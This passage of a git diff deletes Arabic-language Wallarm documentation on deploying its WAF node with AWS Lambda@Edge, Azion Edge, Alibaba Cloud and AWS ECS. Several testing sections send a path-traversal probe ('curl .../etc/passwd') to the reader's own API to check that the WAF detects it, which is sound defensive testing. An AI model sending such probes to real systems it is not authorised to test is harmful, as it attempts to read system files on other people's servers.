- host: WALLARM_NODE_HOSTNAME, - port: WALLARM_NODE_PORT, - path: request.uri + request.querystring, - method: request.method, - // فقط في حالة استخدام شهادة موقعة ذاتيًا - rejectUnauthorized: false, - // - headers: newheaders - - }; - ``` -1. عد إلى قسم IAM وعدل الدور الجديد المنشأ من خلال إرفاق السياسات التالية: `AWSLambda_FullAccess`, `AWSLambdaExecute`, `AWSLambdaBasicExecutionRole`, `AWSLambdaVPCAccessExecutionRole`, و`LambdaDeployPermissions` المنشأة في الخطوة السابقة. -1. في علاقات الثقة، أضف التغيير التالي إلى **الخدمة**: - - ``` - "Service": [ - "edgelambda.amazonaws.com", - "lambda.amazonaws.com" - ] - ``` -1. انتقل إلى Lambda → الوظائف → <وظيفتك> وانقر على **إضافة مُحَفّز**. -1. في خيارات النشر إلى Lambda@Edge، انقر على **النشر إلى Lambda@Edge** واختر توزيع CloudFront الذي يحتاج إلى إضافة معالج Wallarm أو أنشئ واحدًا جديدًا. - - خلال العملية، اختر **طلب المُشاهِد** لحدث CloudFront وضع علامة في المربع لـ **تضمين الجسم**. - -## الاختبار - -لتجربة وظيفة السياسة المنشورة، اتبع الخطوات التالية: - -1. أرسل الطلب مع هجوم [اختراق المسار][ptrav-attack-docs] الاختباري إلى واجهة برمجة التطبيقات الخاصة بك: - - ``` - curl http:///etc/passwd - ``` -1. افتح واجهة Wallarm Console → قسم **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من ظهور الهجوم في القائمة. - - ![الهجمات في الواجهة][attacks-in-ui-image] - - إذا تم ضبط وضع عقدة Wallarm على الحجب، سيتم حجب الطلب أيضًا. - -## هل تحتاج مساعدة؟ - -إذا واجهت أي مشكلات أو تحتاج إلى المساعدة مع نشر Wallarm الموضح بالتوافق مع AWS Lambda، يمكنك التواصل مع فريق [دعم Wallarm](mailto:support@wallarm.com). هم متوفرون لتقديم التوجيه ومساعدتك في حل أي مشكلات قد تواجهها خلال عملية التنفيذ. \ No newline at end of file diff --git a/docs/latest-ar/installation/cdn/azion-edge.md b/docs/latest-ar/installation/cdn/azion-edge.md deleted file mode 100644 index 84848f9084..0000000000 --- a/docs/latest-ar/installation/cdn/azion-edge.md +++ /dev/null @@ -1,136 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart-sqli-xss.png - -# جدار الحماية من Azion Edge مع وظائف Wallarm - -تمكن [وظائف Azion Edge](https://www.azion.com/en/products/edge-functions/) من تنفيذ الشفرة المخصصة على حافة الشبكة، ما يسمح بتطبيق قواعد مخصصة لمعالجة الطلبات. من خلال دمج شفرة Wallarm المخصصة، يمكن توجيه الحركة الواردة إلى عقدة Wallarm لتحليلها وتصفيتها. يعزز هذا الإعداد من تدابير الأمان الموفرة بالفعل بواسطة [جدار حماية Azion Edge](https://www.azion.com/en/products/edge-firewall/). توفر هذه الوثيقة تعليمات حول كيفية دمج عقدة Wallarm مع Azion Edge لحماية الخدمات العاملة على Azion Edge. - -تتضمن الحل إنشاء عقدة Wallarm خارجيًا وإدخال شفرة أو سياسات مخصصة في المنصة المحددة. يتيح هذا توجيه الحركة إلى العقدة الخارجية Wallarm لتحليلها وحمايتها من التهديدات المحتملة. يطلق على هذه العقد واصلات Wallarm، والتي تعد الرابط الأساسي بين منصات مثل Azion Edge وAkamai Edge وMuleSoft وApigee وAWS Lambda، والعقدة الخارجية Wallarm. يضمن هذا النهج دمجًا سلسًا، تحليل حركة آمن، تقليل المخاطر، وأمان النظام الأساسي بشكل عام. - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm المدعومة](../supported-deployment-options.md)، يُوصى بهذا الحل للحالات الاستخدام التالية: - -* تأمين API أو الحركة العاملة على Azion Edge. -* الحاجة إلى حل أمان يوفر ملاحظة شاملة للهجمات وتقارير وحجب فوري للطلبات الضارة. - -## القيود - -للحل قيود معينة حيث يعمل فقط مع الطلبات الواردة: - -* لا يعمل اكتشاف الثغرات الأمنية باستخدام طريقة [الكشف السلبي](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) بشكل صحيح. يحدد الحل ما إذا كانت واجهة برمجة التطبيقات (API) معرضة للخطر أم لا بناءً على استجابات الخادم للطلبات الضارة التي تعتبر نموذجية للثغرات الأمنية التي يختبرها. -* لا يمكن لـ [اكتشاف واجهة برمجة التطبيقات من Wallarm](../../api-discovery/overview.md) استكشاف مخزون واجهة برمجة التطبيقات بناءً على حركتك، حيث يعتمد الحل على تحليل الاستجابات. -* [الحماية ضد التصفح القسري](../../admin-en/configuration-guides/protecting-against-bruteforce.md) غير متوفرة لأنها تتطلب تحليل رمز الاستجابة. - -## المتطلبات - -للمضي قدمًا في النشر، تأكد من استيفائك للمتطلبات التالية: - -* فهم تقنيات Azion Edge -* APIs أو حركة عاملة على Azion Edge. - -## النشر - -لتأمين APIs على Azion Edge بواسطة Wallarm، اتبع هذه الخطوات: - -1. نشر عقدة Wallarm باستخدام إحدى خيارات النشر المتاحة. -1. الحصول على شفرة Wallarm لوظائف Edge وتشغيلها على Azion. - -### 1. نشر عقدة Wallarm - -عند استخدام Wallarm على Azion Edge، يكون تدفق الحركة [في الخط](../inline/overview.md). - -1. اختيار أحد [حلول نشر عقدة Wallarm المدعومة أو الأصول](../supported-deployment-options.md#in-line) للنشر في الخط واتباع التعليمات الخاصة بالنشر المقدمة. -1. تكوين العقدة المنشورة باستخدام القالب التالي: - - ``` - server { - listen 80; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - server { - listen 443 ssl; - - server_name yourdomain-for-wallarm-node.tld; - - ### تكوين SSL هنا - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } - } - - - server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode monitoring; - #wallarm_mode block; - - real_ip_header X-EDGEWRK-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } - } - ``` - - يرجى الانتباه إلى التكوينات التالية: - - * شهادات TLS/SSL لحركة HTTPS: لتمكين عقدة Wallarm من التعامل مع حركة HTTPS الآمنة، قم بتكوين شهادات TLS/SSL وفقًا لذلك. سيعتمد التكوين الخاص على طريقة النشر المختارة. على سبيل المثال، إذا كنت تستخدم NGINX، يمكنك الرجوع إلى [مقاله](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/) للحصول على إرشادات. - * تكوين [وضع تشغيل Wallarm](../../admin-en/configure-wallarm-mode.md). -1. بمجرد اكتمال النشر، احفظ ملاحظة عنوان IP لمثيل العقدة حيث ستحتاج إليه لاحقًا لضبط عنوان إعادة توجيه الطلبات الواردة. - -### 2. الحصول على شفرة Wallarm لوظائف Edge وتشغيلها على Azion - -للحصول على شفرة Wallarm لوظائف Azion Edge وتشغيلها، اتبع هذه الخطوات: - -1. التواصل مع [support@wallarm.com](mailto:support@wallarm.com) للحصول على شفرة Wallarm. -1. على Azion Edge، اذهب إلى **الفوترة والاشتراكات** وفعل الاشتراك في **تسريع التطبيق** و**وظائف Edge**. -1. إنشاء **تطبيق Edge** جديد واحفظه. -1. افتح التطبيق المُنشأ → **الإعدادات الرئيسية** وفعل **تسريع التطبيق** و**وظائف Edge**. -1. انتقل إلى **النطاقات** وانقر على **إضافة نطاق**. -1. انتقل إلى **وظائف Edge**، انقر على **إضافة وظيفة** واختر نوع `جدار حماية Edge`. -1. الصق شفرة Wallarm محل `wallarm.node.tld` بعنوان [عقدة Wallarm التي تم نشرها مسبقًا](#1-deploy-a-wallarm-node). -1. اذهب إلى **جدار حماية Edge** → **إضافة مجموعة قواعد** → اكتب **الاسم** → حدد **النطاقات** وشغل **وظائف Edge**. -1. انتقل إلى علامة التبويب **الوظائف**، انقر على **إضافة وظيفة** واختر الوظيفة المُنشأة مسبقًا. -1. انتقل إلى علامة التبويب **محرك القواعد** → **قاعدة جديدة** واضبط معايير لتصفية الحركة بواسطة Wallarm: - - * لتحليل وتصفية جميع الطلبات، حدد `إذا بدأ عنوان URI للطلب بـ /`. - * في **السلوكيات**، اختر `ثم تشغيل وظيفة` واختر الوظيفة التي تم إنشاؤها مسبقًا. - -## الاختبار - -لتجربة وظيفة السياسة المنشورة، اتبع هذه الخطوات: - -1. إرسال الطلب مع هجوم اختبار [اختراق مسار الطلب][ptrav-attack-docs] إلى واجهة برمجة التطبيقات الخاصة بك: - - ``` - curl http:///etc/passwd - ``` -1. افتح واجهة Wallarm → قسم **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من ظهور الهجوم في القائمة. - - ![الهجمات في الواجهة][attacks-in-ui-image] - - إذا تم ضبط وضع عقدة Wallarm على الحجب، سيتم حجب الطلب أيضًا. - -## هل تحتاج إلى مساعدة؟ - -إذا واجهت أي مشاكل أو احتجت إلى مساعدة مع النشر الموضح لـ Wallarm بالتعاون مع Azion Edge، يمكنك التواصل مع فريق دعم [Wallarm](mailto:support@wallarm.com). هم متوفرون لتوفير الإرشاد والمساعدة في حل أية مشكلات قد تواجهها خلال عملية التنفيذ. \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/latest-ar/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 1b307c5542..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,146 +0,0 @@ -# نشر صورة Docker لـ Wallarm على Alibaba Cloud - -يقدم هذا الدليل السريع الخطوات لنشر [صورة Docker للعقدة Wallarm القائمة على NGINX](https://hub.docker.com/r/wallarm/node) على منصة Alibaba Cloud باستخدام [خدمة Alibaba Cloud Elastic Compute Service (ECS)](https://www.alibabacloud.com/product/ecs). - -!!! تحذير "قيود الإرشادات" - هذه الإرشادات لا تغطي تكوين التوازن الحمولة والتوسع الأوتوماتيكي للعقدة. إذا كنت تقوم بإعداد هذه المكونات بنفسك، نوصي بقراءة [وثائق Alibaba Cloud المناسبة](https://www.alibabacloud.com/help/product/27537.htm?spm=a2c63.m28257.a1.82.dfbf5922VNtjka). - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md" - -## المتطلبات - -* الوصول إلى [لوحة تحكم Alibaba Cloud](https://account.alibabacloud.com/login/login.htm) -* الوصول إلى الحساب الذي يملك دور **المسؤول** وتم تعطيل المصادقة الثنائية في لوحة تحكم Wallarm لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) - -## خيارات تكوين حاوية Docker للعقدة Wallarm - ---8<-- "../include/waf/installation/docker-running-options.md" - -## نشر حاوية Docker للعقدة Wallarm مكونة من خلال المتغيرات البيئية - -لنشر العقدة الفلترة المحتوَّية لـ Wallarm المكونة فقط من خلال المتغيرات البيئية، يجب عليك إنشاء العينة Alibaba Cloud وتشغيل حاوية Docker في هذه العينة. يمكنك تنفيذ هذه الخطوات عبر لوحة تحكم Alibaba Cloud أو [واجهة سطر الأوامر لـ Alibaba Cloud (CLI)](https://www.alibabacloud.com/help/doc-detail/25499.htm). في هذه الإرشادات، يتم استخدام لوحة تحكم Alibaba Cloud. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. افتح لوحة تحكم Alibaba Cloud → قائمة الخدمات → **خدمة الحوسبة المرنة** → **العينات**. -1. أنشئ العينة وفقًا لـ [إرشادات Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX) والمبادئ التوجيهية أدناه: - - * يمكن أن تعتمد العينة على صورة أي نظام تشغيل. - * نظرًا لأن العينة يجب أن تكون متوفرة للموارد الخارجية، يجب تكوين عنوان IP العام أو النطاق في إعدادات العينة. - * يجب أن تعكس إعدادات العينة [الطريقة المستخدمة للاتصال بالعينة](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. اتصل بالعينة واحدة من الأساليب الموصوفة في [وثائق Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. قم بتثبيت حزم Docker في العينة وفقًا لـ [إرشادات نظام التشغيل المناسب](https://docs.docker.com/engine/install/#server). -1. قم بتعيين متغير البيئة للعينة بالرمز الذي تم نسخه من Wallarm ليتم استخدامه في الاتصال بالسحابة Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. قم بتشغيل حاوية Docker للعقدة Wallarm باستخدام الأمر `docker run` مع المتغيرات البيئية الممررة والملف التكوين المثبت: - - === "أمر Wallarm US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e NGINX_BACKEND= -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:4.10.4-1 - ``` - === "أمر Wallarm EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e NGINX_BACKEND= -p 80:80 wallarm/node:4.10.4-1 - ``` - - * `-p`: المنفذ الذي تستمع إليه العقدة الفلترة. يجب أن يكون القيمة هي نفسها المنفذ الخاص بالعينة. - * `-e`: المتغيرات البيئية بتكوين العقدة الفلترة (المتغيرات المتاحة مدرجة في الجدول أدناه). يرجى ملاحظة أنه لا يوصى بتمرير قيمة `WALLARM_API_TOKEN` بشكل صريح. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" -1. [اختبار تشغيل العقدة الفلترة](#testing-the-filtering-node-operation). - -## نشر حاوية Docker للعقدة Wallarm مكونة من خلال الملف المثبت - -لنشر العقدة الفلترة المحتوَّية لـ Wallarm المكونة من خلال المتغيرات البيئية والملف المثبت، يجب إنشاء العينة Alibaba Cloud، تحديد موقع ملف تكوين العقدة الفلترة في نظام ملفات هذه العينة وتشغيل حاوية Docker في هذه العينة. يمكنك تنفيذ هذه الخطوات عبر لوحة تحكم Alibaba Cloud أو [واجهة سطر الأوامر لـ Alibaba Cloud (CLI)](https://www.alibabacloud.com/help/doc-detail/25499.htm). في هذه الإرشادات، يتم استخدام لوحة تحكم Alibaba Cloud. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. افتح لوحة تحكم Alibaba Cloud → قائمة الخدمات → **خدمة الحوسبة المرنة** → **العينات**. -1. أنشئ العينة وفقًا لـ [إرشادات Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX) والمبادئ التوجيهية أدناه: - - * يمكن أن تعتمد العينة على صورة أي نظام تشغيل. - * نظرًا لأن العينة يجب أن تكون متوفرة للموارد الخارجية، يجب تكوين عنوان IP العام أو النطاق في إعدادات العينة. - * يجب أن تعكس إعدادات العينة [الطريقة المستخدمة للاتصال بالعينة](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. اتصل بالعينة بواحدة من الأساليب الموصوفة في [وثائق Alibaba Cloud](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l). -1. قم بتثبيت حزم Docker في العينة وفقًا لـ [إرشادات نظام التشغيل المناسب](https://docs.docker.com/engine/install/#server). -1. قم بتعيين متغير البيئة للعينة بالرمز الذي تم نسخه من Wallarm ليتم استخدامه في الاتصال بالسحابة Wallarm: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. في العينة، قم بإنشاء الدليل مع الملف `default` الذي يحتوي على تكوين العقدة الفلترة (على سبيل المثال، يمكن تسمية الدليل باسم `configs`). مثال على الملف ذي الإعدادات الدنيا: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [مجموعة من التوجيهات الفلترة التي يمكن تحديدها في الملف التكوين →][nginx-waf-directives] -1. قم بتشغيل حاوية Docker للعقدة Wallarm باستخدام الأمر `docker run` مع المتغيرات البيئية الممررة والملف التكوين المثبت: - - === "أمر Wallarm US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:4.10.4-1 - ``` - === "أمر Wallarm EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -v : -p 80:80 wallarm/node:4.10.4-1 - ``` - - * ``: المسار إلى ملف التكوين الذي تم إنشاؤه في الخطوة السابقة. على سبيل المثال، `configs`. - * ``: دليل الحاوية لتثبيت ملف التكوين عليه. يمكن تثبيت ملفات التكوين على الدلائل التالية المستخدمة بواسطة NGINX في الحاوية: - - * `/etc/nginx/conf.d` — الإعدادات العامة - * `/etc/nginx/sites-enabled` — إعدادات الجهاز الظاهري - * `/var/www/html` — الملفات الثابتة - - يجب أن تكتب التوجيهات الفلترة في الملف `/etc/nginx/sites-enabled/default`. - - * `-p`: المنفذ الذي تستمع إليه العقدة الفلترة. يجب أن يكون القيمة هي نفسها المنفذ الخاص بالعينة. - * `-e`: المتغيرات البيئية بتكوين العقدة الفلترة (المتغيرات المتاحة مدرجة في الجدول أدناه). يرجى ملاحظة أنه لا يوصى بتمرير قيمة `WALLARM_API_TOKEN` بشكل صريح. - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [اختبار تشغيل العقدة الفلترة](#testing-the-filtering-node-operation). - -## اختبار تشغيل العقدة الفلترة - -1. افتح لوحة تحكم Alibaba Cloud → قائمة الخدمات → **خدمة الحوسبة المرنة** → **العينات** وانسخ عنوان IP العام للعينة من عمود **عنوان IP**. - - ![إعدادات عينة الحاوية][copy-container-ip-alibaba-img] - - إذا كان عنوان IP فارغًا، يرجى التأكد من أن العينة في حالة **التشغيل**. - -2. أرسل الطلب مع اختبار الهجوم [Path Traversal][ptrav-attack-docs] إلى العنوان الذي تم نسخه: - - ``` - curl http:///etc/passwd - ``` -3. افتح لوحة تحكم Wallarm → **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من ظهور الهجوم في القائمة. - ![الهجمات في واجهة المستخدم][attacks-in-ui-image] - -لعرض تفاصيل الأخطاء التي حدثت أثناء نشر الحاوية، يرجى [الاتصال بالعينة بأحد الطرق](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l) ومراجعة [سجلات الحاوية][logging-docs]. إذا كانت العينة غير متوفرة، يرجى التأكد من أن الوسائط المطلوبة للعقدة الفلترة مع القيم الصحيحة يتم تمريرها إلى الحاوية. \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/aws/ami.md b/docs/latest-ar/installation/cloud-platforms/aws/ami.md deleted file mode 100644 index 018cdc43f2..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/aws/ami.md +++ /dev/null @@ -1,36 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-لإنشاء-العقد -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../../oob/overview.md#advantages-and-limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[inline-docs]: ../../inline/overview.md -[oob-docs]: ../../oob/overview.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../../oob/web-server-mirroring/overview.md#أمثلة-لتكوين-خادم-الويب-لعكس-حركة-المرور -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../admin-en/configure-parameters-en.md#wallarm_force -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - ---8<-- "../include/waf/installation/cloud-platforms/article-for-inline-oob-ami.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/aws/docker-container.md b/docs/latest-ar/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index a58a08ec7d..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,407 +0,0 @@ -# نشر صورة Docker لـ Wallarm على AWS - -يقدم هذا الدليل السريع الخطوات لنشر [صورة Docker للعقدة Wallarm باستخدام NGINX](https://hub.docker.com/r/wallarm/node) على منصة السحابة Amazon باستخدام [خدمة الحاويات المرنة من Amazon (Amazon ECS)](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/). - -!!! تحذير "قيود التعليمات" - هذه التعليمات لا تغطي تكوين التوازن الحمولي وتكبير العقدة تلقائيًا. إذا كنت تقوم بإعداد هذه المكونات بنفسك, نوصي أن تراجع جزءاً مناسباً من [تعليمات AWS](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/). - -## حالات الاستخدام - ---8<-- "../include/waf/installation/cloud-platforms/aws-ecs-use-cases.md" - -## المتطلبات - -* حساب AWS ومستخدم بصلاحيات **مدير** -* AWS CLI 1 أو AWS CLI 2 [مثبت](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html) و [مكون](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html) بشكل صحيح -* الوصول إلى الحساب بدور **المدير** وتعطيل التوثيق ذو العاملين في وحدة تحكم Wallarm لـ [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) - -## خيارات تكوين حاوية Docker للعقدة Wallarm - ---8<-- "../include/waf/installation/docker-running-options.md" - -## نشر حاوية Docker للعقدة Wallarm المكونة عبر المتغيرات البيئية - -لنشر العقدة الفلترة لـ Wallarm المحسنة في حاوية عبر المتغيرات البيئية فقط، يتم استخدام وحدة تحكم AWS و AWS CLI. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتسجيل الدخول إلى [وحدة تحكم AWS](https://console.aws.amazon.com/console/home) → قائمة **الخدمات** → **خدمة الحاويات المرنة**. -1. انتقل إلى إنشاء الكتلة عبر الزر **إنشاء الكتلة** : - 1. حدد القالب **EC2 Linux + Networking**. - 2. حدد اسم الكتلة، على سبيل المثال: `wallarm-cluster`. - 3. إذا كان لازماً، قم بتعيين الإعدادات الأخرى بتتبع [تعليمات AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create_cluster.html). - 4. حفظ الكتلة. -1. قم بتشفير البيانات الحساسة المطلوبة للاتصال بـ Cloud Wallarm (رمز العقدة) باستخدام [إدارة الأسرار AWS](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) أو [نظام AWS Manager → متجر البارامتر](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html). - - في هذه التعليمات، يتم تخزين البيانات الحساسة في إدارة الأسرار AWS. - - !!! تحذير "الوصول إلى تخزين البيانات الحساسة" - للسماح للحاوية Docker بقراءة البيانات الحساسة المشفرة، يرجى التأكد من أن إعدادات AWS تلبي الشروط التالية: - - * البيانات الحساسة مخزنة في المنطقة المستخدمة لتشغيل حاوية Docker. - * يجب أن يكون لدور تنفيذ مهمة ECS المحدد في البارامتر `executionRoleArn` لتعريف المهمة سياسة قراءة بأقل امتيازات محددة النطاق لـ ARN السر المحدد. إذا كنت تستخدم مفتاح KMS مُدار من قبل العميل لتشفير السر، فامنح أيضًا إذن `kms:Decrypt` لهذا المفتاح. [المزيد من التفاصيل عن إعداد سياسات IAM →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html) - - مثال على سياسة IAM: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "ReadSpecificSecret", - "Effect": "Allow", - "Action": [ - "secretsmanager:GetSecretValue", - "secretsmanager:DescribeSecret" - ], - "Resource": "arn:aws:secretsmanager:::secret:*" - }, - { - "Sid": "DecryptForSecret", - "Effect": "Allow", - "Action": [ - "kms:Decrypt" - ], - "Resource": "arn:aws:kms:::key/", - "Condition": { - "StringEquals": { - "kms:ViaService": "secretsmanager..amazonaws.com" - } - } - } - ] - } - ``` - - إذا كنت تستخدم مفتاح AWS المُدار الافتراضي لـ Secrets Manager، يمكنك حذف عبارة `DecryptForSecret`. -1. قم بإنشاء الملف الـ JSON المحلي التالي بـ[تعريف المهمة](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html) (يحدد تعريف المهمة سيناريو تشغيل الحاوية Docker) : - - === "إذا كنت تستخدم سحابة Wallarm الأمريكية" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - }, - { - "name": "NGINX_BACKEND", - "value": "" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.10.4-1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "إذا كنت تستخدم سحابة Wallarm الأوروبية" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "NGINX_BACKEND", - "value": "" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.10.4-1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [معرف حساب AWS الخاص بك](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html). - * يكون الكائن `environment` مجموعة المتغيرات البيئية التي يجب تمريرها إلى حاوية Docker في شكل نصي. يتم توصيف مجموعة المتغيرات البيئية المتاحة في الجدول أدناه. يوصى بتمرير المتغير `WALLARM_API_TOKEN` في الكائن `secrets`. - * يضبط الكائن `secret` المتغيرات البيئية التي يجب تمريرها إلى حاوية Docker كروابط لتخزين البيانات الحساسة. يعتمد شكل القيم على التخزين المحدد (انظر المزيد من التفاصيل في [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) أو [AWS Systems Manager → متجر البارامتر](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html) التوثيق). - - يُوصى بتمرير المتغير `WALLARM_API_TOKEN` في الكائن `secrets`. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - - * توضح جميع معلمات الملف التكويني في [توثيق AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html). -1. قم بتسجيل تعريف المهمة استناداً إلى الملف التكويني JSON باستخدام الأمر [`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html): - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: الرابط إلى الملف JSON مع تعريف المهمة على الجهاز المحلي. - * ``: اسم وإمتداد الملف JSON مع تعريف المهمة. -1. تشغيل المهمة في الكتلة استخدام الامر [`aws ecs 